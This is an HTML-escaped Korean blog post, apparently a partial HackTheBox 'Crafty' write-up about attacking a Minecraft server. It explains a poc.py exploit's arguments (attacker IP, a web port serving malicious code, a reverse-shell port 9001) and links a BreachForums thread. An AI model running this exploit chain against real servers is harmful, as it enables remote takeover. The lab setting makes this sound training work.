&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;449&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/msS2j/btsE7nVMfOn/3qEEGfzZN3nmBA3CRrxCAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/msS2j/btsE7nVMfOn/3qEEGfzZN3nmBA3CRrxCAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/msS2j/btsE7nVMfOn/3qEEGfzZN3nmBA3CRrxCAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmsS2j%2FbtsE7nVMfOn%2F3qEEGfzZN3nmBA3CRrxCAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1974&quot; height=&quot;449&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;449&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행중인 포트를 확인하고&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;795&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cyz0KF/btsE0GPUa0q/JkdoM6OgfpH4pk19rpA3ik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cyz0KF/btsE0GPUa0q/JkdoM6OgfpH4pk19rpA3ik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cyz0KF/btsE0GPUa0q/JkdoM6OgfpH4pk19rpA3ik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcyz0KF%2FbtsE0GPUa0q%2FJkdoM6OgfpH4pk19rpA3ik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1978&quot; height=&quot;795&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;795&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포트번호를 입력하면 PID를 확인할 수 있고 해당 PID를 kill 해주면 됨.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;655&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmD8Vw/btsE6HmTl9u/YFv8c0mgLzJmSlsJazArlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmD8Vw/btsE6HmTl9u/YFv8c0mgLzJmSlsJazArlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmD8Vw/btsE6HmTl9u/YFv8c0mgLzJmSlsJazArlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmD8Vw%2FbtsE6HmTl9u%2FYFv8c0mgLzJmSlsJazArlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1980&quot; height=&quot;655&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;655&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 실행하니까 잘 작동하는것을 확인할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2074&quot; data-origin-height=&quot;819&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbTghe/btsE0HgWpFV/DtRBlv4ymis9dSCMxHgDs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbTghe/btsE0HgWpFV/DtRBlv4ymis9dSCMxHgDs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbTghe/btsE0HgWpFV/DtRBlv4ymis9dSCMxHgDs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbTghe%2FbtsE0HgWpFV%2FDtRBlv4ymis9dSCMxHgDs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2074&quot; height=&quot;819&quot; data-origin-width=&quot;2074&quot; data-origin-height=&quot;819&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;--userip 10.10.14.72 : 공격 대상은 공격자 주소로 접속하여 악성 코드를 실행하게 됨.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;--webport 80 : 공격 대상이 접속하여 악성 코드를 다운 받을 수 있도록 함.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;--lport 9001 :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;이 스크립트가 생성하는 역방향 쉘(reverse shell)의 포트 번호를 9001로 설정&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;759&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k9R4K/btsE1B8PdC7/2LpSWH8liCM0UxUvdbpzA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k9R4K/btsE1B8PdC7/2LpSWH8liCM0UxUvdbpzA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k9R4K/btsE1B8PdC7/2LpSWH8liCM0UxUvdbpzA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk9R4K%2FbtsE1B8PdC7%2F2LpSWH8liCM0UxUvdbpzA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;759&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;759&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'10.10.11.249:25565' 마인크래프트 서버에 접속하려면 마인크래프트를 설치해야됨.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;847&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bncs0B/btsE8DjLSLF/Oh5LwAj43ukefMXu5NTk7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bncs0B/btsE8DjLSLF/Oh5LwAj43ukefMXu5NTk7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bncs0B/btsE8DjLSLF/Oh5LwAj43ukefMXu5NTk7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbncs0B%2FbtsE8DjLSLF%2FOh5LwAj43ukefMXu5NTk7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1976&quot; height=&quot;847&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;847&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.dev 계열 마인크래프트를 다운받고&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1482&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AikkF/btsE7vTPbsf/YTnqzzf5CdZBKa1YQFTkeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AikkF/btsE7vTPbsf/YTnqzzf5CdZBKa1YQFTkeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AikkF/btsE7vTPbsf/YTnqzzf5CdZBKa1YQFTkeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAikkF%2FbtsE7vTPbsf%2FYTnqzzf5CdZBKa1YQFTkeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1482&quot; height=&quot;1125&quot; data-origin-width=&quot;1482&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치를 완료했음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;630&quot; data-origin-height=&quot;701&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYMtyF/btsE5DdYMgx/pE1dkdTP1Urtg8Mt7zT4d0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYMtyF/btsE5DdYMgx/pE1dkdTP1Urtg8Mt7zT4d0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYMtyF/btsE5DdYMgx/pE1dkdTP1Urtg8Mt7zT4d0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYMtyF%2FbtsE5DdYMgx%2FpE1dkdTP1Urtg8Mt7zT4d0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;701&quot; data-origin-width=&quot;630&quot; data-origin-height=&quot;701&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마인크래프트 런처를 실행하고 설치하면 됨.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VYK4r/btsE2BAITXr/Sv7ChmIzXnC5d2gKKPe3e0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VYK4r/btsE2BAITXr/Sv7ChmIzXnC5d2gKKPe3e0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VYK4r/btsE2BAITXr/Sv7ChmIzXnC5d2gKKPe3e0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVYK4r%2FbtsE2BAITXr%2FSv7ChmIzXnC5d2gKKPe3e0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1958&quot; height=&quot;1125&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 생각해보니까 데모버전이라서 multi 서버를 열수가 없음... 엉?&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1186&quot; data-origin-height=&quot;579&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/co6aQf/btsE6BmFzyL/solJcbd55XuwnvyZxdyL4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/co6aQf/btsE6BmFzyL/solJcbd55XuwnvyZxdyL4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/co6aQf/btsE6BmFzyL/solJcbd55XuwnvyZxdyL4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fco6aQf%2FbtsE6BmFzyL%2FsolJcbd55XuwnvyZxdyL4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1186&quot; height=&quot;579&quot; data-origin-width=&quot;1186&quot; data-origin-height=&quot;579&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오 마이&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1708420505216&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - ammaraskar/pyCraft: Minecraft-client networking library in Python&quot; data-og-description=&quot;Minecraft-client networking library in Python. Contribute to ammaraskar/pyCraft development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/ammaraskar/pyCraft&quot; data-og-url=&quot;https://github.com/ammaraskar/pyCraft&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/hXACO/hyVmX7B8EI/XZoHXG7bvSNnwDX8Lox301/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/ammaraskar/pyCraft&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/ammaraskar/pyCraft&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/hXACO/hyVmX7B8EI/XZoHXG7bvSNnwDX8Lox301/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - ammaraskar/pyCraft: Minecraft-client networking library in Python&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Minecraft-client networking library in Python. Contribute to ammaraskar/pyCraft development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;405&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KYEvt/btsE9SHHhbf/oSgvh0FKCW9LVKddBQNBh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KYEvt/btsE9SHHhbf/oSgvh0FKCW9LVKddBQNBh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KYEvt/btsE9SHHhbf/oSgvh0FKCW9LVKddBQNBh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKYEvt%2FbtsE9SHHhbf%2FoSgvh0FKCW9LVKddBQNBh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1974&quot; height=&quot;405&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;405&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 사람이 write-up 쓴걸 보니까 저걸 사용해서 마인크래프트 서버에 접속함.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1898&quot; data-origin-height=&quot;1644&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boUmvU/btsE8zPemrL/0dkFzAaJpq2dDsJG1Q0MB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boUmvU/btsE8zPemrL/0dkFzAaJpq2dDsJG1Q0MB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boUmvU/btsE8zPemrL/0dkFzAaJpq2dDsJG1Q0MB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboUmvU%2FbtsE8zPemrL%2F0dkFzAaJpq2dDsJG1Q0MB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1898&quot; height=&quot;1644&quot; data-origin-width=&quot;1898&quot; data-origin-height=&quot;1644&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1632&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vhpav/btsE8Bztfha/HTRyeMsGe455kx82tKutik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vhpav/btsE8Bztfha/HTRyeMsGe455kx82tKutik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vhpav/btsE8Bztfha/HTRyeMsGe455kx82tKutik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvhpav%2FbtsE8Bztfha%2FHTRyeMsGe455kx82tKutik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1632&quot; height=&quot;1125&quot; data-origin-width=&quot;1632&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;문제는 여기서 해결을 못하고 있음..&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;-체크-&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;1. 지원하는 마인크래프트 버전 : 1.16.5 (확인)&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;2. 지원하는 파이썬 버전 : 3.11 =&amp;gt; 3.9로 다운그레이드 중 (안해도 됨)&amp;nbsp;&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;s&gt;- 확인한 레퍼런스 -&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;&lt;a href=&quot;https://breachforums.is/Thread-HTB-Crafty--104685?page=11&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://breachforums.is/Thread-HTB-Crafty--104685&lt;/a&gt;&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/ammaraskar/pyCraft?tab=readme-ov-file&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;&lt;s&gt;https://github.com/ammaraskar/pyCraft?tab=readme-ov-file&lt;/s&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;해결완료!!&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708424323709&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo apt dist-upgrade&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;805&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xmH04/btsE6UTYPm4/yO7GFgkNK6lwweG0TKADt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xmH04/btsE6UTYPm4/yO7GFgkNK6lwweG0TKADt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xmH04/btsE6UTYPm4/yO7GFgkNK6lwweG0TKADt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxmH04%2FbtsE6UTYPm4%2FyO7GFgkNK6lwweG0TKADt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1911&quot; height=&quot;805&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;805&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템 업그레이드하고 실행하니까 정상적으로 잘 작동하는것을 확인할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중간정리&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;655&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmD8Vw/btsE6HmTl9u/YFv8c0mgLzJmSlsJazArlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmD8Vw/btsE6HmTl9u/YFv8c0mgLzJmSlsJazArlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmD8Vw/btsE6HmTl9u/YFv8c0mgLzJmSlsJazArlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmD8Vw%2FbtsE6HmTl9u%2FYFv8c0mgLzJmSlsJazArlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1980&quot; height=&quot;655&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;655&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. poc.py 실행시키고&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1909&quot; data-origin-height=&quot;137&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMM1dm/btsE8z9EVZS/kCTGwfT3tbNo1A91gvkhx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMM1dm/btsE8z9EVZS/kCTGwfT3tbNo1A91gvkhx1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMM1dm/btsE8z9EVZS/kCTGwfT3tbNo1A91gvkhx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMM1dm%2FbtsE8z9EVZS%2FkCTGwfT3tbNo1A91gvkhx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1909&quot; height=&quot;137&quot; data-origin-width=&quot;1909&quot; data-origin-height=&quot;137&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 9001 포트 열고&lt;/p&gt;
